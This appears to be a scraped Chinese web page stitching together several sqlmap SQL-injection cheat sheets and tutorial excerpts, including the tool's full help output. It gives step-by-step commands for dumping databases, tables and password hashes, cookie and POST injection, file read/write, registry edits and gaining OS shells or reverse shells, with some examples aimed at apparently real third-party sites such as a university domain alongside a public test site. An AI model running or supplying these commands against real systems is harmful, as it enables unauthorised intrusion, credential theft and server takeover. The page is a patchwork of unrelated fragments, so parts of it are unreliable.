精华内容
下载资源
问答
  • sqlmap命令

    2013-12-06 09:20:53
    sqlmap命令
  • SQLMAP命令

    千次阅读 2019-06-14 14:04:54
    sqlmap -r c:/s.txt --level 3 --dbms=mysql --risk 1 注意: --level 是测试等级意思就是说我要更加耐心仔仔细细的加强检测等级3 如果没有level 默认等级是1的   别人再次整理过的 -p 指定测试参数 -b...

    https://www.cnblogs.com/comdodo/p/5307689.html

    -u #注入点
    -f #指纹判别数据库类型
    -b #获取数据库版本信息
    -p #指定可测试的参数(?page=1&id=2 -p “page,id”)
    -D “” #指定数据库名
    -T “” #指定表名
    -C “” #指定字段
    -s “” #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s “xx.log”  恢复:-s “xx.log” –resume)
    –columns #列出字段
    –current-user #获取当前用户名称
    –current-db #获取当前数据库名称
    –users #列数据库所有用户
    –passwords #数据库用户所有密码
    –privileges #查看用户权限(–privileges -U root)
    -U #指定数据库用户
    –dbs #列出所有数据库
    –tables -D “” #列出指定数据库中的表
    –columns -T “user” -D “mysql” #列出mysql数据库中的user表的所有字段
    –dump-all #列出所有数据库所有表
    –exclude-sysdbs #只列出用户自己新建的数据库和表
    –dump -T “数据库” -D “表” -C “字段” #列出指定数据库的表的字段的数据(–dump -T users -D master -C surname)
    –dump -T “” -D “” –start 2 –top 4 # 列出指定数据库的表的2-4字段的数据
    –dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)
    –os #指定系统(Linux,Windows)
    -v #详细的等级(0-6)
    0:只显示Python的回溯,错误和关键消息。
    1:显示信息和警告消息。
    2:显示调试消息。
    3:有效载荷注入。
    4:显示HTTP请求。
    5:显示HTTP响应头。
    6:显示HTTP响应页面的内容
    –privileges #查看权限
    –is-dba #是否是数据库管理员
    –roles #枚举数据库用户角色
    –udf-inject #导入用户自定义函数(获取系统权限)
    –union-check #是否支持union 注入
    –union-cols #union 查询表记录
    –union-test #union 语句测试
    –union-use #采用union 注入
    –union-tech orderby #union配合order by
    –method “POST” –data “” #POST方式提交数据(–method “POST” –data “page=1&id=2″)
    –cookie “用;号分开” #cookie注入(–cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)
    –referer “” #使用referer欺骗(–referer “http://www.baidu.com”)
    –user-agent “” #自定义user-agent
    –proxy “http://127.0.0.1:8118″ #代理注入
    –string “” #指定关键词
    –threads    #采用多线程(–threads 3)
    –sql-shell #执行指定sql命令
    –sql-query #执行指定的sql语句(–sql-query “SELECT password FROM mysql.user WHERE user = ‘root’ LIMIT 0, 1″ )
    –file-read #读取指定文件
    –file-write #写入本地文件(–file-write /test/test.txt –file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)
    –file-dest #要写入的文件绝对路径
    –os-cmd=id #执行系统命令
    –os-shell #系统交互shell
    –os-pwn #反弹shell(–os-pwn –msf-path=/opt/framework/msf3/)
    –msf-path= #matesploit绝对路径(–msf-path=/opt/framework/msf3/)
    –os-smbrelay #
    –os-bof #
    –reg-read #读取win系统注册表
    –priv-esc #
    –time-sec= #延迟设置 默认–time-sec=5 为5秒
    -p “user-agent” –user-agent “sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)” #指定user-agent注入
    –eta #盲注

    sqlmap.py -u url  判断
    sqlmap.py -u url --is-dba 判断是不是root权限
    sqlmap.py -u url --is-dba -v   这是判断当前数据库的使用者是否是dba
    sqlmap.py -u url --users -v 0  这句的目的是列举数据库的用户
    sqlmap.py -u url --passwords -v 0 这句的目的是获取数据库用户的密码
    sqlmap.py -u url --privileges -v 0 这是判断当前的权限
    sqlmap.py -u url --dbs -v 0 这句的目的是将所有的数据库列出来
    sqlmap.py -u url --tables -D '表' 爆表
    sqlmap.py -u url --columns -T ‘表’-D ‘数据库’爆列
    sqlmap.py -u url --dump -T '表' --start 1 --stop 4 -v 0 这里是查询第2到第4行的内
    sqlmap.py -u url --dump -all -v 0
    -------------------------------------------------------------------------------------------------------------------------
    --current-user 看看权限……






                  access注入
    sqlmap.py -u "url"       ==检测。

    sqlmap.py -u "url" --tables     ==猜表。

    sqlmap.py -u "url" --columns -T "表名"       ==猜字段

    sqlmap.py -u "url" --dump -T "表名" -C "字段,字段"      ==暴表里面的字段的内容




                  Mysql数据注入
    sqlmap.py -u url  --privileg  ==查看权限(root什么什么的)

    sqlmap.py -u url --is-dba 判断是不是root权限

    sqlmap.py -u url --dbs   ==获取数据库

    sqlmap.py -u url --tables -D "数据库名"     ==获取当中的数据库的表

    sqlmap.py -u url --columns -D "数据库名" -T "表名"   ==获取数据库 表中的字段

    sqlmap.py -u url --dump -D "数据库名" -T "表名" -C "字段,字段"  ==获取数据库表的字段里的内容



                  Cookie注入

         注入点:http://www.ntjx.org/jsj/DownloadShow.asp?id=9

    sqlmap.py -u "http://www.ntjx.org/jsj/DownloadShow.asp" --cookie "id=9" --table --level 2    ==暴表名

    sqlmap.py -u "http://www.ntjx.org/jsj/DownloadShow.asp" --cookie "id=9" --columns -T "表名" --level 2  ==暴表的字段

    sqlmap.py -u "http://www.ntjx.org/jsj/DownloadShow.asp" --cookie "id=9" --dump -T "表名" -C "字段,字段" --level 2 ==暴表的字段内容





                 post登陆注入 mssql

    sqlmap.py -u "http://testasp.vulnweb.com/Login.asp" --data "tfUName=12345&tfUPass=12345"

    sqlmap.py -u "http://testasp.vulnweb.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --dbs  ==获取数据库名

    sqlmap.py -u "http://testasp.vulnweb.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --tables -D "数据库名"   ==列表

    sqlmap.py -u "http://testasp.vulnweb.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --columns -T "表名" -D "数据库名"  ==暴字段

    sqlmap.py -u "http://testasp.vulnweb.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --dump --columns -C "字段,字段" -T "表" -D "数据名"  ==暴字段内容




                 直接拿shell或者执行命令(需要权限很大跟物理路径)

    sqlmap.py -u url --os-shell

    sqlmap.py -u url --os-cmd=ipconfig



                伪静态注入
            注入点:http://sfl.fzu.edu.cn/index.php/Index/view/id/40.html   (注意:要加个* 哪里存在注入就加上 * 号)

    sqlmap.py -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.html --dbs   ==获取数据库名

    sqlmap.py -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.html --tables -D "数据名"    ==获取数据库当中的表

    sqlmap.py -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.html --columns -D "数据名" -T "表名"  ==获取数据库的表中的字段

    sqlmap.py -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.html --dump -D "数据名" -T "表名" -C "字段,字段" ==获取数据库的表中的字段内容




                请求延时(一般突破防火墙)

    第一种方法:sqlmap.py -u url --delay 2   (注意:2是两秒的意思,也就是说2秒访问一次)
    第二种方法: sqlmap.py -u url --safe-freq 3 (注意:3是3次的意思。。)

    可以组合使用 sqlmap.py -u url --delay 2 --safe-freq 3


         利用文件来注入


    GET /?id=1 HTTP/1.1
    Host: www.why25.com

    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0

    x-forwarded-for: 1*(存在注入)

    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

    Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

    Accept-Encoding: gzip, deflate

    Cookie: PHPSESSID=109b6bcfd7ec056764c71aa62a4d6638

    Connection: keep-alive

    Cache-Control: max-age=0





    星号(*) 指定注入点



    sqlmap -r c:/s.txt --level 3 --dbms=mysql --risk 1  注意: --level 是测试等级意思就是说我要更加耐心仔仔细细的加强检测等级3 如果没有level 默认等级是1的
     


    别人再次整理过的



    -p               指定测试参数
    -b               获取banner
    --dbs             列举数据库
    --is-dba          是否是管理员权限
    --current-db          当前数据库
    --current-user          当前用户
    --tables          列举数据库的表名
    --count               检索所有条目数
    --columns          获取表的列名
    --dump                获取表中的数据,包含列
    --dump-all          转存DBMS数据库所有表项目
    --level               测试等级(1-5),默认为1
    -v                  显示详细信息

    读取数据库--->读取表---->读取表的列---->获取内容

    -D                 指定数据库

    -T               指定表

    -C               指定列

    --dbms=mysql  oracle mssql          指定数据库
    =======================================

    参照官方文档:https://github.com/sqlmapproject/sqlmap/wiki/Usage。

    -b     获取banner
    -p     指定测试参数
    -g     从google中获取URL , -g "inurl:aspx?id="
    --gpage=GOOGLEPAGE     指定Google页码
    --union-check     是否支持union 注入
    --union-cols      union 查询表记录
    --union-test      union 语句测试
    --union-use      采用union 注入
    --proxy     代理注入
    ---threads     采用多线程
    --user-agent      自定义user-agent
    --referer=REFERER     HTTP referer头
    --proxy=PROXY     使用代理
    --string     指定关键词
    --tor     创建tor的匿名网络
    --predict-output     常见的查询输出预测
    --keep-alive     使用持久HTTP(S)连接
    --eval=EVALCODE     所使用HTTP参数污染
    -a,-all     查询所有
    --hostname     主机名
    --is-dbs     是否是管理员权限
    --users     枚举所有用户
    --passwords     枚举所有用户密码
    --roles     枚举所有用户角色
    --schema     枚举DBMS模式
    --count     检索所有条目数
    --dump     转存DBMS数据库表项目,需要制定字段名称(列名称)
    --dump-all     转存DBMS数据库所有表项目
    --search     搜索列,表或数据库名称
    --exclude-sysdbs     在枚举表时排除系统数据库
    --sql-query=query     执行SQL语句
    --file-read=RFILE     读取操作
    --file-write=WFILE     写入操作
    --file-dest=DFILE     绝对路径写入
    --reg-read     阅读一个Windows注册表项值
    --reg-add     增加一个Windows注册表项值数据
    --reg-del     删除一个Windows注册表项值数据
    --reg-key=REGKEY     Windows注册表键
    --reg-value=REGVAL     Windows注册表键值
    -- reg-data=REGDATA     Windows注册表的键值项数据
    --reg-type=REGTYPE     Windows注册表键的值类型
    --csv-del=CSVDEL     划定CSV输出中使用的字符 (default ",")
    --dump-format=DUMP     转存数据格式(CSV (default), HTML or SQLITE)
    --hex     使用十六进制数据检索功能
    --output-dir=ODIR     自定义输出的目录路径
    --update     更新SQLMap
    --purge-output     安全的删除所有内容输出目录
    --check-waf     启发式检查WAF / IPS / IDS保护
    --os-pwn     反弹shell
    --cookie=COOKIE     指定HTTP Cookie ,预登陆
    --random-agent     使用随机选定的User-Agent头
    --tamper=TAMPER     使用SQLMap插件
    --level     测试等级(1-5),默认为1

    展开全文
  • Sqlmap命令讲解

    2020-08-05 21:52:45
    Sqlmap命令讲解 一、Sqlmap命令讲解 apostrophenullencode.py 暴力破解表名如下: 二、Web练习1 1、 Access+ASP注入练习环境(CMS ,NewsInfo.asp,admin/123456,后台...

    Sqlmap命令讲解

    一、Sqlmap命令讲解

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    apostrophenullencode.py
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    暴力破解表名如下:
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    二、Web练习1
    在这里插入图片描述
    1、 Access+ASP注入练习环境(CMS ,NewsInfo.asp,admin/123456,后台数据库备份拿shell)
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    后续操作请持续关注哦!!!
    在这里插入图片描述

    展开全文
  • I:\sqlmap>python sqlmap.py -help ___ __H__ ___ ___[,]_____ ___ ___ {1.3.2.20#dev}|_ -| . [,] | .'| . ||___|_ ["]_|_|_|__,| _| |_|V... |_| http://sqlmap.orgUsag...

    eae128b145e36b136a7f8ed4c7dcd53e.png

    I:\sqlmap>python sqlmap.py -help        ___       __H__ ___ ___[,]_____ ___ ___  {1.3.2.20#dev}|_ -| . [,]     | .'| . ||___|_  ["]_|_|_|__,|  _|      |_|V...       |_|   http://sqlmap.orgUsage: sqlmap.py [options]Options:  -h, --help            Show basic help message and exit  -hh                   Show advanced help message and exit  --version             Show program's version number and exit  -v VERBOSE            Verbosity level: 0-6 (default 1)  Target:    At least one of these options has to be provided to define the    target(s)    -d DIRECT           Connection string for direct database connection    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")    -l LOGFILE          Parse target(s) from Burp or WebScarab proxy log file    -x SITEMAPURL       Parse target(s) from remote sitemap(.xml) file    -m BULKFILE         Scan multiple targets given in a textual file    -r REQUESTFILE      Load HTTP request from a file    -g GOOGLEDORK       Process Google dork results as target URLs    -c CONFIGFILE       Load options from a configuration INI file  Request:    These options can be used to specify how to connect to the target URL    --method=METHOD     Force usage of given HTTP method (e.g. PUT)    --data=DATA         Data string to be sent through POST (e.g. "id=1")    --param-del=PARA..  Character used for splitting parameter values (e.g. &)    --cookie=COOKIE     HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")    --cookie-del=COO..  Character used for splitting cookie values (e.g. ;)    --load-cookies=L..  File containing cookies in Netscape/wget format    --drop-set-cookie   Ignore Set-Cookie header from response    --user-agent=AGENT  HTTP User-Agent header value    --random-agent      Use randomly selected HTTP User-Agent header value    --host=HOST         HTTP Host header value    --referer=REFERER   HTTP Referer header value    -H HEADER, --hea..  Extra header (e.g. "X-Forwarded-For: 127.0.0.1")    --headers=HEADERS   Extra headers (e.g. "Accept-Language: fr\nETag: 123")    --auth-type=AUTH..  HTTP authentication type (Basic, Digest, NTLM or PKI)    --auth-cred=AUTH..  HTTP authentication credentials (name:password)    --auth-file=AUTH..  HTTP authentication PEM cert/private key file    --ignore-code=IG..  Ignore (problematic) HTTP error code (e.g. 401)    --ignore-proxy      Ignore system default proxy settings    --ignore-redirects  Ignore redirection attempts    --ignore-timeouts   Ignore connection timeouts    --proxy=PROXY       Use a proxy to connect to the target URL    --proxy-cred=PRO..  Proxy authentication credentials (name:password)    --proxy-file=PRO..  Load proxy list from a file    --tor               Use Tor anonymity network    --tor-port=TORPORT  Set Tor proxy port other than default    --tor-type=TORTYPE  Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))    --check-tor         Check to see if Tor is used properly    --delay=DELAY       Delay in seconds between each HTTP request    --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)    --retries=RETRIES   Retries when the connection timeouts (default 3)    --randomize=RPARAM  Randomly change value for given parameter(s)    --safe-url=SAFEURL  URL address to visit frequently during testing    --safe-post=SAFE..  POST data to send to a safe URL    --safe-req=SAFER..  Load safe HTTP request from a file    --safe-freq=SAFE..  Test requests between two visits to a given safe URL    --skip-urlencode    Skip URL encoding of payload data    --csrf-token=CSR..  Parameter used to hold anti-CSRF token    --csrf-url=CSRFURL  URL address to visit for extraction of anti-CSRF token    --force-ssl         Force usage of SSL/HTTPS    --hpp               Use HTTP parameter pollution method    --eval=EVALCODE     Evaluate provided Python code before the request (e.g.                        "import hashlib;id2=hashlib.md5(id).hexdigest()")  Optimization:    These options can be used to optimize the performance of sqlmap    -o                  Turn on all optimization switches    --predict-output    Predict common queries output    --keep-alive        Use persistent HTTP(s) connections    --null-connection   Retrieve page length without actual HTTP response body    --threads=THREADS   Max number of concurrent HTTP(s) requests (default 1)  Injection:    These options can be used to specify which parameters to test for,    provide custom injection payloads and optional tampering scripts    -p TESTPARAMETER    Testable parameter(s)    --skip=SKIP         Skip testing for given parameter(s)    --skip-static       Skip testing parameters that not appear to be dynamic    --param-exclude=..  Regexp to exclude parameters from testing (e.g. "ses")    --dbms=DBMS         Force back-end DBMS to provided value    --dbms-cred=DBMS..  DBMS authentication credentials (user:password)    --os=OS             Force back-end DBMS operating system to provided value    --invalid-bignum    Use big numbers for invalidating values    --invalid-logical   Use logical operations for invalidating values    --invalid-string    Use random strings for invalidating values    --no-cast           Turn off payload casting mechanism    --no-escape         Turn off string escaping mechanism    --prefix=PREFIX     Injection payload prefix string    --suffix=SUFFIX     Injection payload suffix string    --tamper=TAMPER     Use given script(s) for tampering injection data  Detection:    These options can be used to customize the detection phase    --level=LEVEL       Level of tests to perform (1-5, default 1)    --risk=RISK         Risk of tests to perform (1-3, default 1)    --string=STRING     String to match when query is evaluated to True    --not-string=NOT..  String to match when query is evaluated to False    --regexp=REGEXP     Regexp to match when query is evaluated to True    --code=CODE         HTTP code to match when query is evaluated to True    --text-only         Compare pages based only on the textual content    --titles            Compare pages based only on their titles  Techniques:    These options can be used to tweak testing of specific SQL injection    techniques    --technique=TECH    SQL injection techniques to use (default "BEUSTQ")    --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)    --union-cols=UCOLS  Range of columns to test for UNION query SQL injection    --union-char=UCHAR  Character to use for bruteforcing number of columns    --union-from=UFROM  Table to use in FROM part of UNION query SQL injection    --dns-domain=DNS..  Domain name used for DNS exfiltration attack    --second-url=SEC..  Resulting page URL searched for second-order response    --second-req=SEC..  Load second-order HTTP request from file  Fingerprint:    -f, --fingerprint   Perform an extensive DBMS version fingerprint  Enumeration:    These options can be used to enumerate the back-end database    management system information, structure and data contained in the    tables. Moreover you can run your own SQL statements    -a, --all           Retrieve everything    -b, --banner        Retrieve DBMS banner    --current-user      Retrieve DBMS current user    --current-db        Retrieve DBMS current database    --hostname          Retrieve DBMS server hostname    --is-dba            Detect if the DBMS current user is DBA    --users             Enumerate DBMS users    --passwords         Enumerate DBMS users password hashes    --privileges        Enumerate DBMS users privileges    --roles             Enumerate DBMS users roles    --dbs               Enumerate DBMS databases    --tables            Enumerate DBMS database tables    --columns           Enumerate DBMS database table columns    --schema            Enumerate DBMS schema    --count             Retrieve number of entries for table(s)    --dump              Dump DBMS database table entries    --dump-all          Dump all DBMS databases tables entries    --search            Search column(s), table(s) and/or database name(s)    --comments          Check for DBMS comments during enumeration    -D DB               DBMS database to enumerate    -T TBL              DBMS database table(s) to enumerate    -C COL              DBMS database table column(s) to enumerate    -X EXCLUDE          DBMS database identifier(s) to not enumerate    -U USER             DBMS user to enumerate    --exclude-sysdbs    Exclude DBMS system databases when enumerating tables    --pivot-column=P..  Pivot column name    --where=DUMPWHERE   Use WHERE condition while table dumping    --start=LIMITSTART  First dump table entry to retrieve    --stop=LIMITSTOP    Last dump table entry to retrieve    --first=FIRSTCHAR   First query output word character to retrieve    --last=LASTCHAR     Last query output word character to retrieve    --sql-query=QUERY   SQL statement to be executed    --sql-shell         Prompt for an interactive SQL shell    --sql-file=SQLFILE  Execute SQL statements from given file(s)  Brute force:    These options can be used to run brute force checks    --common-tables     Check existence of common tables    --common-columns    Check existence of common columns  User-defined function injection:    These options can be used to create custom user-defined functions    --udf-inject        Inject custom user-defined functions    --shared-lib=SHLIB  Local path of the shared library  File system access:    These options can be used to access the back-end database management    system underlying file system    --file-read=FILE..  Read a file from the back-end DBMS file system    --file-write=FIL..  Write a local file on the back-end DBMS file system    --file-dest=FILE..  Back-end DBMS absolute filepath to write to  Operating system access:    These options can be used to access the back-end database management    system underlying operating system    --os-cmd=OSCMD      Execute an operating system command    --os-shell          Prompt for an interactive operating system shell    --os-pwn            Prompt for an OOB shell, Meterpreter or VNC    --os-smbrelay       One click prompt for an OOB shell, Meterpreter or VNC    --os-bof            Stored procedure buffer overflow exploitation    --priv-esc          Database process user privilege escalation    --msf-path=MSFPATH  Local path where Metasploit Framework is installed    --tmp-path=TMPPATH  Remote absolute path of temporary files directory  Windows registry access:    These options can be used to access the back-end database management    system Windows registry    --reg-read          Read a Windows registry key value    --reg-add           Write a Windows registry key value data    --reg-del           Delete a Windows registry key value    --reg-key=REGKEY    Windows registry key    --reg-value=REGVAL  Windows registry key value    --reg-data=REGDATA  Windows registry key value data    --reg-type=REGTYPE  Windows registry key value type  General:    These options can be used to set some general working parameters    -s SESSIONFILE      Load session from a stored (.sqlite) file    -t TRAFFICFILE      Log all HTTP traffic into a textual file    --batch             Never ask for user input, use the default behavior    --binary-fields=..  Result fields having binary values (e.g. "digest")    --check-internet    Check Internet connection before assessing the target    --crawl=CRAWLDEPTH  Crawl the website starting from the target URL    --crawl-exclude=..  Regexp to exclude pages from crawling (e.g. "logout")    --csv-del=CSVDEL    Delimiting character used in CSV output (default ",")    --charset=CHARSET   Blind SQL injection charset (e.g. "0123456789abcdef")    --dump-format=DU..  Format of dumped data (CSV (default), HTML or SQLITE)    --encoding=ENCOD..  Character encoding used for data retrieval (e.g. GBK)    --eta               Display for each output the estimated time of arrival    --flush-session     Flush session files for current target    --forms             Parse and test forms on target URL    --fresh-queries     Ignore query results stored in session file    --har=HARFILE       Log all HTTP traffic into a HAR file    --hex               Use hex conversion during data retrieval    --output-dir=OUT..  Custom output directory path    --parse-errors      Parse and display DBMS error messages from responses    --save=SAVECONFIG   Save options to a configuration INI file    --scope=SCOPE       Regexp to filter targets from provided proxy log    --test-filter=TE..  Select tests by payloads and/or titles (e.g. ROW)    --test-skip=TEST..  Skip tests by payloads and/or titles (e.g. BENCHMARK)    --update            Update sqlmap  Miscellaneous:    -z MNEMONICS        Use short mnemonics (e.g. "flu,bat,ban,tec=EU")    --alert=ALERT       Run host OS command(s) when SQL injection is found    --answers=ANSWERS   Set predefined answers (e.g. "quit=N,follow=N")    --beep              Beep on question and/or when SQL injection is found    --cleanup           Clean up the DBMS from sqlmap specific UDF and tables    --dependencies      Check for missing (optional) sqlmap dependencies    --disable-coloring  Disable console output coloring    --gpage=GOOGLEPAGE  Use Google dork results from specified page number    --identify-waf      Make a thorough testing for a WAF/IPS protection    --list-tampers      Display list of available tamper scripts    --mobile            Imitate smartphone through HTTP User-Agent header    --offline           Work in offline mode (only use session data)    --purge             Safely remove all content from sqlmap data directory    --skip-waf          Skip heuristic detection of WAF/IPS protection    --smart             Conduct thorough tests only if positive heuristic(s)    --sqlmap-shell      Prompt for an interactive sqlmap shell    --tmp-dir=TMPDIR    Local directory for storing temporary files    --web-root=WEBROOT  Web server document root directory (e.g. "/var/www")    --wizard            Simple wizard interface for beginner users

    sqlmap.py -u "http://www.xxx.com/xx.xxx?id=5"–dbs

    //获取数据库

    sqlmap.py -u "http://www.xxx.com/xx.xxx?id=5"--current-db

    //获取当前数据库名

    sqlmap.py -u "http://www.xxx.com/xx.xxx?id=5"--current-user

    //获取当前数据库的用户名

    sqlmap.py -u "http://www.xxx.com/xx.xxx?id=5"--tables

    //获取数据库的表名

    sqlmap.py -u "http://www.xxx.com/xx.xxx?id=5"--tables -D r3550c17g3

    //获取指定数据库中的表名

    sqlmap.py -u "" --columns -Tmanage_user -D r3550c17g3

    //获取指定表中的列名

    sqlmap.py -u "http://www.xxx.com/xx.xxx?id=5"--dump -C manage_name -T manage_user -D r3550c17g3

    //获取指定列名中的字段

    总  结

    常用语句:

    sqlmap.py -u "[URL]"   或  sqlmap.py -r "[数据包_path]"

    sqlmap.py -u "[URL]" –dbs    //获取数据库

    sqlmap.py -u "[URL]" --current-db    //获取当前数据库名

    sqlmap.py -u "[URL]" --current-user    //获取当前数据库的用户名

    sqlmap.py -u "[URL]" --tables    //获取数据的所有表名

    sqlmap.py -u "[URL]" --tables -D [数据库名]    //获取指定数据库中的所有表名

    sqlmap.py -u "[URL]" --column -T [表名] -D [数据库名]    //获取指定表中的列字段

    sqlmap.py -u "[URL]" --dump -C [列名] -T [表名] -D [数据库名]  //爆指定列中的字段

    sqlmap.py -u "[URL]" --privileges     //查看当前数据库的用户权限

    sqlmap.py -u "[URL]" --password    //爆数据库的密码

    sqlmap.py -u "[URL]" --is-dba -v 1    //看有没有数据库管理员权限

    671dec8e38ab0a08cea8850826e48d0e.png

    展开全文
  • Sqlmap命令详解

    2020-06-30 09:00:42
    sqlmap命令详解 目录0x01 sqlmap 确定目标1.1 直连数据库1.2 URL探测1.3 文件读取目标1.4 Google 批量扫描注入0x02 sqlmap 请求参数设置(一)2.1 设置 HTTP 方法2.2 设置 POST 提交参数2.3 设置参数分割符2.4 设置...

    sqlmap命令详解

    目录

    0x01 sqlmap 确定目标

    1.1 直连数据库

    sqlmap支持直接连接数据库,通过以下命令来直连

    服务型数据库(前提知道数据库用户名和密码)
    DBMS://USER:PASSWORD@DBMS_PORT/DATABASE_NAME (MySQL,Oracle,Microsoft SQL Server,PostgreSQL,etc)

    例如:
    python sqlmap.py -d “mysql://admin:admin@192.168.1.2:3306/security” -f --banner
    在这里插入图片描述

    文件型数据库(前提知道数据库的绝对路径)
    DBMS://DATABASE_FILEPATH (SQLite,Microsoft Access,Fire bird,etc)

    1.2 URL探测

    sqlmap直接对单一URL探测,使用参数 -u 或 --url
    URL格式:http(s): //targeturl [:port] /[…]

    例如:
    python sqlmap.py -u http://www.target/vuln.php?id=1 --banner

    1.3 文件读取目标

    sqlmap支持从不同类型的文件中读取目标进行SQL注入探测
    1、-l 从BurpSuite Proxy或从WebScarab Proxy中读取HTTP请求日志
    在这里插入图片描述
    查看burpsuite抓取的日志信息
    在这里插入图片描述
    使用sqlmap进行演示
    在这里插入图片描述
    在这里插入图片描述

    2、-x 从sitemap.xml站点地图文件中读取目标探测

    3、-m 从多行文本格式文件读取多个目标

    4、-r 从文本文件中读取HTTP请求作为SQL注入探测目标
    在这里插入图片描述
    将burp suite抓取的HTTP请求信息,复制到txt文件中,在使用sqlmap -r ‘txt文件’ 进行探测

    5、-c 从配置文件 sqlmap.conf 中读取目标探测
    查看sqlmap.conf 文件的内容
    在这里插入图片描述
    将想要探测目标的url填入该文件中,里面也可以通过日志文件形式(相当于使用 -l 参数)、HTTP请求文件(相当于使用 -r 参数)进行探测,还可以设置其他参数,例如:method(HTTP请求方法)、data(指定POST提交的数据)等等

    接下来,我们将目标url填入sqlmap.conf文件,进行演示
    python sqlmap.py -c sqlmap.conf --banner
    在这里插入图片描述

    1.4 Google 批量扫描注入

    sqlmap通过 -g 自动利用Google获取指定Google hack的目标,然后利用交互向导模式进行SQL注入探测

    例如:
    python sqlmap.py -g “inurl:.php?id=”
    在这里插入图片描述

    0x02 sqlmap 请求参数设置(一)

    2.1 设置 HTTP 方法

    Sqlmap会自动在探测过程中使用适合的HTTP请求方法。但是在某些具体情况下,需要强制使用具体的HTTP请求方法。例如 PUT请求方法。HTTP PUT请求方法不会自动使用,因此需要我们强制指定。使用 --method=PUT。
    在这里插入图片描述

    例如:
    python sqlmap.py -u “http://192.168.1.2/sqlilabs/Less-1/?id=1” --method=get –banner

    2.2 设置 POST 提交参数

    默认情况下,用于执行HTTP请求的HTTP方法是GET,但是您可以通过提供在POST请求中发送的数据隐式地将其更改为POST。这些数据作为这些参数,被用于SQL注入检测。
    例如:
    python sqlmap.py -u “http://www.target.com/vuln.php” --data=“id=1” -f --banner --dbs --users

    -f fingerprint 指纹

    演示:
    python sqlmap.py -u “http://192.168.1.2/sqlilabs/Less-11/” --data=“uname=admin&passwd=admin&submit=Submit” -p uname -f --banner
    在这里插入图片描述

    2.3 设置参数分割符

    在某些情况下,sqlmap需要覆盖默认参数分隔符(例如& in GET和POST数据),才能正确地分割和单独处理每个参数。

    例如:
    python sqlmap.py -u “http://www.target.com/vuln.php” --data=“query=foobar;id=1” --param-del=";" -f --banner --dbs --users

    演示:
    python sqlmap.py -u “http://192.168.1.2/sqlilabs/Less-11/” --data=uname=“admin&passwd=admin&submit=Submit” --param-del="&" -p uname -f –banner
    在这里插入图片描述

    2.4 设置Cookie 头

    Sqlmap中用来设置Cookie的参数:–cookie, --cookie-del, --load-cookies --drop-set-cookie
    在这里插入图片描述

    使用场景:
    1、Web应用程序具有基于Cookie验证的过程;
    2、想利用Cookie值上的SQL注入漏洞。

    Sqlmap使用Cookie过程:
    1、登录或浏览页面。
    2、打开审计工具或代理截断,复制Cookie。
    3、在Sqlmap中使用 --cookie 粘贴Cookie。
    在这里插入图片描述
    python sqlmap.py -u “http://192.168.1.2/sqlilabs/Less-11/” --data=“uname=admin&passwd=admin&submit=Submit” -p uname -f --banner
    在这里插入图片描述

    如果在通信过程中,web应用程序使用Set-Cookie标头进行响应,sqlmap将在所有进一步的HTTP请求中自动使用其值作为Cookie标头。sqlmap还将为SQL注入自动测试这些值。这可以通过提供–drop-set-cookie—sqlmap将忽略任何即将到来的Set-Cookie头来避免。
    反之亦然,如果您提供了一个带有选项的HTTP Cookie报头—Cookie和目标URL在任何时候发送一个HTTP set -Cookie报头,sqlmap将询问您要为以下HTTP请求使用哪组Cookie。

    load-cookie,可以用来提供包含Netscape/wget格式的cookie的特殊文件

    注意:如果需要对HTTP Cookie值进行SQL注入探测,需要设置 --level 2以上(3)。

    2.5 设置 User-Agent 头

    默认情况下, sqlmap使用以下用户代理头值执行HTTP请求: sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
    (使用Wireshark 抓包查看)
    在这里插入图片描述
    然而, 通过提供自定义用户代理作为选项的参数, 可以使用选项—user-agent来伪造它。(可使用burpsuite抓取正常的HTTP请求包获取User-Agent头的信息)

    sqlmap -u “http://192.168.1.2/sqlilabs/Less-1/?id=1” --user-agent " Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0"
    再次抓包查看
    在这里插入图片描述
